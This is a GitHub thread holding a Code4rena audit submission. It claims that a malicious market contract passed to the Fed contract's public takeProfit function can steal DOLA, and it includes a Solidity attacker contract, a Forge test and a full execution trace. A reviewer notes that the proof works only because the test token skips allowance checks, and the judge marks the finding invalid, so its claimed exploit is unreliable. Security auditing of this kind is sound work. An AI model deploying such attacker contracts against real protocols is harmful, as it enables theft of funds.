code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Fed.soll#L131-L137 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Fed.sol#L120-L125

Vulnerability details

Description

Due to lack of protection control, it is possible to steal Fed contract's DOLA balance by using a malicious attackerMarket contract by callingFed#takeProfit() public function.

    function takeProfit(IMarket market) public {
        uint profit = getProfit(market);
        if(profit > 0) {
            market.recall(profit);
            dola.transfer(gov, profit);
        }
    }

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Fed.soll#L131-L137

    function getProfit(IMarket market) public view returns (uint) {
        uint marketValue = dola.balanceOf(address(market)) + market.totalDebt();
        uint supply = supplies[market];
        if(supply >= marketValue) return 0;
        return marketValue - supply;
    }

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Fed.sol#L120-L125

takeProfit is a public function that calls market.recall(profit). By placing a malicious IMarket contract, we can make Fed call our malicious function of recall which will allow us to impersonate as Fed's address.

This will allow us to transfer DOLA from Fed's balance to our malicious contract.

Proof of Concept

Deploy AttackerMarket.sol to the same path where Fed.sol is (i.e. 2022-10-inverse/src/).

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "./Market.sol";

contract AttackerMarket {

    IERC20 public immutable dola = IERC20(0x865377367054516e17014CcdED1e7d814EDC9ce4);

    constructor(){}

    function recall(uint amount) public {
        emit Whoami(msg.sender); // emit who is msg.sender
        dola.balanceOf(msg.sender); // Debuging purposes
        dola.balanceOf(address(this)); // Debuging purposes
        dola.transferFrom(msg.sender, address(this), 1 ether); // Transfer FED's dola to this contract address, Try 1 ether testcase
        dola.balanceOf(msg.sender); // Debuging purposes
        dola.balanceOf(address(this)); // Debuging purposes
    }

    function totalDebt() public view returns (uint) {
        return 1;
    }

    event Whoami(address _address);

}

Add following forge test script in Fed.t.sol:

Don't forget to import

import "../AttackerMarket.sol";

    function test_impersonateFed_transferDola() public {

        gibDOLA(address(fed), 2 ether); // @audit Assume Fed contract has 2 ether worth of DOLA

        AttackerMarket attackerMarket;
        attackerMarket = new AttackerMarket();

        IMarket attackerMarketParameter;

        attackerMarketParameter = IMarket(address(attackerMarket));

        DOLA.balanceOf(address(fed)); // @audit is 2 ether

        vm.startPrank(user); // Attacker
        try fed.takeProfit(attackerMarketParameter) {
        } catch {}
        vm.stopPrank();

        DOLA.balanceOf(address(fed)); // @audit is 1 ether

        assertEq(DOLA.balanceOf(address(attackerMarket)), 1 ether, "Wasn't able to steal 1 ether worth of DOLA");

    }

Foundry Forge Test Results

forge test --match-test test_impersonateFed -vvvvv

Running 1 test for src/test/Fed.t.sol:FedTest
[PASS] test_impersonateFed_transferDola() (gas: 328888)

  [328888] FedTest::test_impersonateFed_transferDola() 
    ├─ [0] VM::store(0x865377367054516e17014CcdED1e7d814EDC9ce4, 0x1b62194e4fa3a9479b17f5c2d8a1534bb62b49d6c6770deb81f42bf0493dfb6a, 0x0000000000000000000000000000000000000000000000001bc16d674ec80000) 
    │   └─ ← ()
    ├─ [216359] → new <Unknown>@0xCe71065D4017F316EC606Fe4422e11eB2c47c246
    │   └─ ← 1080 bytes of code
    ├─ [564] 0x865377367054516e17014CcdED1e7d814EDC9ce4::balanceOf(Fed: [0x5c0Fa0DceB4190Bca9f414EC907F3A79AF13E4C4]) [staticcall]
    │   └─ ← 2000000000000000000
    ├─ [0] VM::startPrank(user: [0x0000000000000000000000000000000000000069]) 
    │   └─ ← ()
    ├─ [63460] Fed::takeProfit(0xCe71065D4017F316EC606Fe4422e11eB2c47c246) 
    │   ├─ [199] 0xCe71065D4017F316EC606Fe4422e11eB2c47c246::totalDebt() [staticcall]
    │   │   └─ ← 1
    │   ├─ [2564] 0x865377367054516e17014CcdED1e7d814EDC9ce4::balanceOf(0xCe71065D4017F316EC606Fe4422e11eB2c47c246) [staticcall]
    │   │   └─ ← 0
    │   ├─ [28943] 0xCe71065D4017F316EC606Fe4422e11eB2c47c246::recall(1) 
    │   │   ├─ emit Whoami(_address: Fed: [0x5c0Fa0DceB4190Bca9f414EC907F3A79AF13E4C4])
    │   │   ├─ [564] 0x865377367054516e17014CcdED1e7d814EDC9ce4::balanceOf(Fed: [0x5c0Fa0DceB4190Bca9f414EC907F3A79AF13E4C4]) [staticcall]
    │   │   │   └─ ← 2000000000000000000
    │   │   ├─ [564] 0x865377367054516e17014CcdED1e7d814EDC9ce4::balanceOf(0xCe71065D4017F316EC606Fe4422e11eB2c47c246) [staticcall]
    │   │   │   └─ ← 0
    │   │   ├─ [23549] 0x865377367054516e17014CcdED1e7d814EDC9ce4::transferFrom(Fed: [0x5c0Fa0DceB4190Bca9f414EC907F3A79AF13E4C4], 0xCe71065D4017F316EC606Fe4422e11eB2c47c246, 1000000000000000000) 
    │   │   │   ├─ emit Transfer(from: Fed: [0x5c0Fa0DceB4190Bca9f414EC907F3A79AF13E4C4], to: 0xCe71065D4017F316EC606Fe4422e11eB2c47c246, value: 1000000000000000000)
    │   │   │   └─ ← true
    │   │   ├─ [564] 0x865377367054516e17014CcdED1e7d814EDC9ce4::balanceOf(Fed: [0x5c0Fa0DceB4190Bca9f414EC907F3A79AF13E4C4]) [staticcall]
    │   │   │   └─ ← 1000000000000000000
    │   │   ├─ [564] 0x865377367054516e17014CcdED1e7d814EDC9ce4::balanceOf(0xCe71065D4017F316EC606Fe4422e11eB2c47c246) [staticcall]
    │   │   │   └─ ← 1000000000000000000
    │   │   └─ ← ()
    │   ├─ [25355] 0x865377367054516e17014CcdED1e7d814EDC9ce4::transfer(0x000000000000000000000000000000000000000A, 1) 
    │   │   ├─ emit Transfer(from: Fed: [0x5c0Fa0DceB4190Bca9f414EC907F3A79AF13E4C4], to: 0x000000000000000000000000000000000000000A, value: 1)
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [564] 0x865377367054516e17014CcdED1e7d814EDC9ce4::balanceOf(Fed: [0x5c0Fa0DceB4190Bca9f414EC907F3A79AF13E4C4]) [staticcall]
    │   └─ ← 999999999999999999
    ├─ [564] 0x865377367054516e17014CcdED1e7d814EDC9ce4::balanceOf(0xCe71065D4017F316EC606Fe4422e11eB2c47c246) [staticcall]
    │   └─ ← 1000000000000000000
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 1.81ms

Recommended mitigation steps

I actually ran out of contest time to think of proper mitigation steps, but would love to help out with the mitigation steps if needed. But on a quick glance, probably some access control should be enough.

neumoxx commented 1 year ago

I think it's probably invalid because dola.transferFrom(msg.sender, address(this), 1 ether); in the warden's AttackerMarket.sol should revert because lack of allowance. The DOLA used in the tests does not check for allowance in transferFrom, but the real DOLA does. There could be an attack vector here, and but I think the Warden was not able to prove it in the test.

c4-judge commented 1 year ago

0xean marked the issue as unsatisfactory: Invalid

code-423n4 / 2022-10-inverse-findings